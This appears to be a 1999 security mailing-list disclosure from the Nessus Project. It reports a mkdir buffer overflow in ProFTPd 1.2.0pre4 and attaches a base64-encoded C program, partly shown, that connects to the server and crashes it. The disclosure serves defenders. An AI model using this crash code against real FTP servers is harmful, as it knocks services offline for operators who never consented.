Renaud Deraison
1999-Sep-04 17:08 UTC
buffer overflow in proftpd-1.2.0pre4, supposed to be ''safe''
This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---1463810815-1223308169-936489982=:15281 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: <Pine.LNX.4.10.9909050208003.15329@prof.fr.nessus.org> Hello, ProFTPd, a FTP server, has been suffering several security holes lately. However, the version 1.2.0pre4 is still vulnerable to a mkdir attack, even though it is supposed to be patched against it. The trick is to create directories whose name don''t exceed 255 chars. I have not looked at this problem in detail, but I could at least make a pointer point on a bogus location (85858585) using this method. Attached to this mail is a C program that will make proftpd crash, but which won''t exploit the vulnerability. Thank you for your attention, -- Renaud -- Renaud Deraison The Nessus Project http://www.nessus.org ---1463810815-1223308169-936489982=:15281 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="crash_ftpd.c" Content-Transfer-Encoding: BASE64 Content-ID: <Pine.LNX.4.10.9909050206220.15281@prof.fr.nessus.org> Content-Description: demo code Content-Disposition: ATTACHMENT; FILENAME="crash_ftpd.c" I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RkbGliLmg+DQojaW5j bHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPHN5cy90eXBlcy5oPg0K I2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCi8qDQogKiBDcmFzaGVzIFByb0ZU UGQgMS4yLjBwcmU0IGJlY2F1c2Ugb2YgYSBidWZmZXIgb3ZlcmZsb3cuDQog Kg0KICoNCiAqIFRoaXMgYnVnIHdhcyBkaXNjb3ZlcmVkIGJ5IHRoZSBOZXNz dXMgU2VjdXJpdHkgU2Nhbm5lcg0KICoNCiAqIEkgZG9uJ3Qga25vdyBpZiB0 aGlzIGZsYXcgY2FuIGJlIGV4cGxvaXRlZCB0byBnYWluDQogKiByb290IHBy aXZpbGVnZXMuDQogKg0KICoNCi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ogICAgcHJpbnRmKCJSZW1v dGUgRlRQZCBjcmFzaGVkIChzZWUgL3Zhci9sb2cvbWVzc2FnZXMpXG4iKTsN CiAgICBleGl0KDApOw0KICAgfQ0KICAgYnplcm8oYnVmLCAxMDI0KTsNCiAg fQ0KICBwcmludGYoIllvdSB3ZXJlIG5vdCB2dWxuZXJhYmxlIGFmdGVyIGFs bC4gU29ycnlcbiIpOw0KICBjbG9zZShzb2MpOw0KIH0NCiBlbHNlIHBlcnJv cigiY29ubmVjdCAiKTsNCiByZXR1cm4oMCk7DQp9DQogICANCiAgDQo---1463810815-1223308169-936489982=:15281--